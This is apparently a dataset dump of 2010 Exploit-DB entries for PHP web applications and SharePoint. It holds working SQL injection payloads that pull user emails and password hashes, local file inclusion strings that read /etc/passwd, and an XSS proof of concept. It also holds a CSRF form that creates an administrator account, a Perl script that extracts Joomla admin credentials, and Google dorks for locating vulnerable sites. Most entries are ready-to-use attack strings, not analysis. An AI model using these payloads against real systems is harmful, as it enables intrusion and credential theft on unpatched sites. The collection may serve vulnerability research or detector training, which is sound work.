QLWD/code_shield huggingface dataset:
标题: iScripts VisualCaster - SQL Injection EDB-ID: 12451 CVE: 2010-2853 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-29 漏洞利用脚本: # Exploit Title:SQli Vulnerability in iScripts VisualCaster
# Version: Web Application
# vendor :www.iscripts.com/
# Date: 29 apr,2010
# Dork: Powered by iScripts VisualCaster 
# Author:Sid3^effects
# Code :
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
    iScripts VisualCaster is a video hosting script that could be used to provide video hosting service to your customers. It is a turnkey solution to provide services like youTube. 


############################################################################

Xploit : SQli Vulnerability

       
 
 DEMO URL :http://www.iscripts.com/visualcaster/demo/flashPlayer/playVideo.php?product_id= [SQLi]
 


############################################################################


#Sid3^effects URL: https://www.exploit-db.com/exploits/12451
标题: Microsoft SharePoint Server 2007 - Cross-Site Scripting EDB-ID: 12450 CVE: 2010-0817 类型: WEBAPPS 平台: WINDOWS 发布日期: 2010-04-29 漏洞利用脚本: Vulnerability ID: HTB22350

Reference:
http://www.htbridge.ch/advisory/xss_in_microsoft_sharepoint_server_2007.html
http://www.microsoft.com/technet/security/advisory/983438.mspx

Product: Microsoft SharePoint Server 2007

Vendor: Microsoft Corporation

Vulnerable Version: 12.0.0.6421 and Probably Prior Versions Vendor
Notification: 12 April 2010 Vulnerability Type: XSS (&#1057;ross Site S&#1089;ri&#1088;ting)

Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level:
Medium

Credit: High-Tech Bridge SA (http://www.htbridge.ch/)

Vulnerability Details:

User can execute arbitrary JavaScript code within the vulnerable
application.

The vulnerability exists due to failure in the "/_layouts/help.aspx" script
to properly sanitize user-supplied input in "cid0" variable. Successful
exploitation of this vulnerability could result in a compromise of the
application, theft of cookie-based authentication credentials, disclosure or
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC
is available:

http://host/_layouts/help.aspx?cid0=MS.WSS.manifest.xml%00%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E&tid=X URL: https://www.exploit-db.com/exploits/12450
标题: TaskFreak 0.6.2 - SQL Injection EDB-ID: 12452 CVE: 2010-1583 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-29 漏洞利用脚本: CVE-2010-1583

Vendor notified and product update released.
Details of this report are also available at
http://www.madirish.net/?article=456


Description of Vulnerability:
- ------------------------------

The Tirzen Framework (http://www.tirzen.net/tzn/) is a supporting API
developed by Tirzen (http://www.tirzen.com), an intranet and internet
solutions provider. The Tirzen Framework contains a SQL injection
vulnerability (http://www.owasp.org/index.php/SQL_Injection). This
vulnerability could allow an attacker to arbitrarily manipulate SQL strings
constructed using the library. This vulnerability manifests itself most
notably in the Task Freak (http://www.taskfreak.com/) open source task
management software. The vulnerability can be exploited to bypass
authentication and gain administrative access to the Task Freak system.


Systems affected:
- ------------------

Task Freak Multi User / mySQL v0.6.2 with Tirzen Framework 1.5 was tested
and shown to be vulnerable.


Impact
- -------

Attackers could manipulate database query strings resulting in information
disclosure, data destruction, authentication bypass, etc.



Technical discussion and proof of concept:
- -------------------------------------------

Tirzen Framework class TznDbConnection in the function loadByKey()
(tzn_mysql.php line 605) manifests a SQL injection vulnerability because it
fails to sanitize user supplied input used to compose SQL statements.


Proof of concept: any user can log into TaskFreak as the administrator
simply by using the username "1' or 1='1"


Vendor response:
- ----------------

Upgrade to the latest version of TaskFreak.



- --
Justin C. Klein Keane

http://www.MadIrish.net URL: https://www.exploit-db.com/exploits/12452
标题: PHP Video Battle - SQL Injection EDB-ID: 12444 CVE: 2010-1701 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-28 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
            PHP Video Battle SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : April, 29-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : PHP Video Battle
Vendor   : http://www.rocky.nu/
Price  : $40.00 USD
Google Dork : © 1998 - 2010 Video Battle Script
Overview :

Battle of the best youtube videos! 2 videos side by side, choose which 
is the best. Members can join and submit youtube video links.
Very easy to customize HTML system.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+1,2,version(),4,5,6--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/browse.html?cat=[SQLi]
http://127.0.0.1/[path]/browse.html?cat=-9999+union+all+select+1,2,version(),4,5,6--
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (baru tau gw ur klo lo ternyata pernah curhat sambil nangis² bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
   http://v3n0m.blogdetik.com/
   http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12444
标题: Scratcher - SQL Injection / Cross-Site Scripting EDB-ID: 12458 CVE: 2010-1743 2010-1742 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-29 漏洞利用脚本: [+] Scratcher (SQL/XSS) Multiple Remote Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Discovered By: cr4wl3r
Download: http://sourceforge.net/projects/scratcher/files/
Dork: "Powered by Scratcher"
Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

Thanks to: str0ke, opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
           EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
           SENOT, devilbat, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] Exploit SQL:
http://server/[path]/projects.php?id=[SQL]
http://server/[path]/projects.php?id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6--

[+] Exploit XSS:
http://server/[path]/projects.php?show=[XSS]
http://server/[path]/projects.php?show=<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/12458
标题: Modelbook - 'casting_view.php' SQL Injection EDB-ID: 12443 CVE: 2010-1705 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-28 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
       Modelbook (casting_view.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : April, 29-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : AlstraSoft AskMe Pro
Vendor   : http://www.rocky.nu/
Price  : $100.00 USD
Google Dork : allinurl:casting_view.php?adnum=
Overview :

Modelbook is a full featured web community script. A very extensive and 
powerful web application written in PHP. 100% Open Source Code, no Encryption.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+1,group_concat(email,char(58),pass)v3n0m,3,4,5,6,7,8,9,10+from+users--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/casting_view.php?adnum=[SQLi]

----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (baru tau gw ur klo lo ternyata pernah curhat sambil nangis² bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
   http://v3n0m.blogdetik.com/
   http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12443
标题: SoftBizScripts Hosting Script - SQL Injection EDB-ID: 12439 CVE: 2005-3817 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-28 漏洞利用脚本: # Exploit Title: SoftBizScripts Hosting Script SQL Injection Vunerability
# Date: 29-4-2010
# Author: 41.w4r10r
# Vendor Link : http://softbizscripts.com/
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :  inurl:"browsecats.php?cid="
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Harin,Jappy,Dark_Blue,sid3^3f3c7
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



Exploited Link :

http://[site]m/browsecats.php?cid=2'

example :

http://[site]/browsecats.php?cid=2+union+select+1,version(),3,4--



#41.w4r10r mailto:41.w4r10r@andhrahackers.com URL: https://www.exploit-db.com/exploits/12439
标题: SoftBizScripts Dating Script - SQL Injection EDB-ID: 12438 CVE: 2006-3271 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-28 漏洞利用脚本: # Exploit Title: SoftBizScripts Dating Script SQL Injection Vunerability
# Date: 29-4-2010
# Author: 41.w4r10r
# Vendor Link : http://softbizscripts.com/
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :  inurl:"search_results.php?browse=1"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Harin,Jappy,Dark_Blue,sid3^3f3c7
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



Exploited Link :

http://example.com/search_results.php?browse=1'


example:

http://[site]/search_results.php?browse=-1+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,version(),6,7,8,9--




#41.w4r10r mailto:41.w4r10r@andhrahackers.com URL: https://www.exploit-db.com/exploits/12438
标题: Joomla! Component Graphics 1.0.6 - Local File Inclusion EDB-ID: 12430 CVE: 2010-1653 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: ================================================================================================

 Title    : Joomla Component graphics (com_graphics) v1.0.6 LFI Vulnerability
 Vendor   : http://htmlcoderhelper.com/
 Download : http://en.sourceforge.jp/frs/g_redir.php?m=jaist&f=%2Fjoomlagraphics%2Fcom_graphics.zip

 Date     : 27 April 2010 - GMT +07:00 Jakarta, Indonesia
 Author   : wishnusakti + inc0mp13te (HH)
 Contact  : evileyes60117[at]yahoo.com

 ================================================================================================

 [+] Vulnerable

     ./components/com_graphics/graphics.php

     // Require specific controller if requested
 if($controller = JRequest::getVar( 'controller' )) {
     require_once( JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php' );
 }


 [+] Exploit

     http://[site]/[path]/index.php?option=com_graphics&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00

 ================================================================================================

 Very Special thanks :
     Penghuni #nob0dy priv8 Server
     (ander, NoGe, zxvf, kaka11, s4va, meylira, Jack, aJe, Unyil, cheche angela zhang, madonk, & Bot² Scan :D)
 
     en Semua Komunitas Hacking Tanah Air
     Peace Yo :)

to all my friends : mywisdom, aurell, hafiz, xco, kiddies, xshadow, gblack, petimati, 
                    cakill, krembis, biakkobar, hendri_note, xshadow, local_disaster, pradipta yoarsa


 ================================================================================================

# ./wishnusakti #.inc0mp13te URL: https://www.exploit-db.com/exploits/12430
标题: gpEasy 1.6.1 - Cross-Site Request Forgery (Add Admin) EDB-ID: 12441 CVE: 2010-2039 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-28 漏洞利用脚本: =============================================
gpEasy <= 1.6.1 CSRF Remote Add Admin Exploit
=============================================

Author : Giuseppe 'giudinvx' D'Inverno
Email : <giudinvx[at]gmail[dot]com>
Date : 04-29-2010
Site     : http://www.giudinvx.altervista.org/
Location : Naples, Italy

--------------------------------------------------------
Application Info
Site   : http://www.gpeasy.com/
Version: 1.6.1
--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

<html>
<form method="post" action="[patth]/index.php/Admin_Users">
<input type="text" value="xxx" name="username"><br/>
<input type="password" value="xxx" name="password"><br/>
<input type="password" value="xxx" name="password1"><br/>
<input type="text" value="xxx" name="email"><br/>
<input value="Admin_Menu" type="hidden" name="grant[]">
<input value="Admin_Uploaded" type="hidden" name="grant[]">
<input value="Admin_Extra" type="hidden" name="grant[]">
<input value="Admin_Theme" type="hidden" name="grant[]">
<input value="Admin_Users" type="hidden" name="grant[]">
<input value="Admin_Configuration" type="hidden" name="grant[]">
<input value="Admin_Trash" type="hidden" name="grant[]">
<input value="Admin_Uninstall" type="hidden" name="grant[]">
<input value="Admin_Addons" type="hidden" name="grant[]">
<input value="Admin_New" type="hidden" name="grant[]">
<input value="Admin_Theme_Content" type="hidden" name="grant[]">
<input type="hidden" value="newuser" name="cmd">
<input type="submit" value="Continue" name="aaa" class="submit">
</form>
</html>

# Now you have an Admin user with name: xxx and password: xxx, just login
page [path]/index.php/Admin URL: https://www.exploit-db.com/exploits/12441
标题: Joomla! Component ABC 1.1.7 - SQL Injection EDB-ID: 12429 CVE: 2010-1656 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: #!/usr/bin/perl

#***********************************************************************#
#                                                                       #
# [o] ABC Joomla Extension SQL Injection Exploit                        #
#      Software : com_abc version 1.1.7                                 #
#      Vendor   : http://www.airiny.com/                                #
#      Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ] #
#      Contact  : public[at]antisecurity[dot]org                        #
#      Home     : http://antisecurity.org/                              #
#                                                                       #
# [o] Usage                                                             #
#      root@evilc0de:~# perl abc.pl www.target.com                      #
#                                                                       #
# [o] Greetz                                                            #
#      Angela Zhang stardustmemory aJe martfella pizzyroot Genex        #
#      H312Y yooogy mousekill }^-^{ noname matthews wishnusakti         #
#      skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11             #
#                                                                       #
# [o] April 27 2010 - GMT +07:00 Jakarta, Indonesia                     #
#                                                                       #
#***********************************************************************#

use HTTP::Request;
use LWP::UserAgent;

my $target = $ARGV[0];
my $file_vuln = '/index.php?option=com_abc&view=abc&letter=AS&sectionid=';
my $sql_query = '-null+union+select+1,group_concat(0x3a,username,0x3a,password,0x3a)+from+jos_users--';
print "\n[x]===============================================[x]\n";
print "[x]  ABC Joomla Extension SQL Injection Exploit   [x]\n";
print "[x]            [C]oded By AntiSecurity            [x]\n";
print "[x]===============================================[x]\n\n";

my $exploit = "http://".$target.$file_vuln.$sql_query;

my $request   = HTTP::Request->new(GET=>$exploit);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
my $res   = $response->content;
if ($res =~ m/:(.*):(.*):/g) {
my ($username,$password) = ($1,$2);
print "[+] $username:$password \n\n";
}
else { print "[-] Error, Fail to get admin login.\n\n"; }
}
else { print "[-] Error, ".$response->status_line."\n\n"; } URL: https://www.exploit-db.com/exploits/12429
标题: Help Center Live 2.0.6 - 'module=helpcenter&file=' Local File Inclusion EDB-ID: 12421 CVE: 2010-1652 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: # Exploit Title: Help Center Live 2.0.6(module=helpcenter&file=) Local File
Inclusion
# Date: 27-4-2010
# Author: 41.w4r10r
# Software Link :
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork : inurl:"module=helpcenter"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



[+] Exploit

http://example.com/[path]/module.php?module=helpcenter&file=[LFI]



[+] POC :

http://localhost/hcl/module.php?module=helpcenter&file=../../../../../../../../etc/passwd%00



#41.w4r10r mailto:41.w4r10r@andhrahackers.com URL: https://www.exploit-db.com/exploits/12421
标题: CLScript.com Classifieds Software - SQL Injection EDB-ID: 12423 CVE: 2010-1660 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: # Exploit Title: CLScript.com Classifieds Software SQL Injection
Vunerability
# Date: 27-4-2010
# Author: 41.w4r10r
# Vendor Link : http://www.clscript.com/
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork : intext:"Powered by CLscript.com"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



Exploited Link :

1) http://example.com/help-details.php?hpId=-38'



Live Demo :

1)
http://example.com/help-details.php?hpId=-38+union+select+all+1,version(),3,4,5,6,7--




#41.w4r10r mailto:41.w4r10r@andhrahackers.com URL: https://www.exploit-db.com/exploits/12423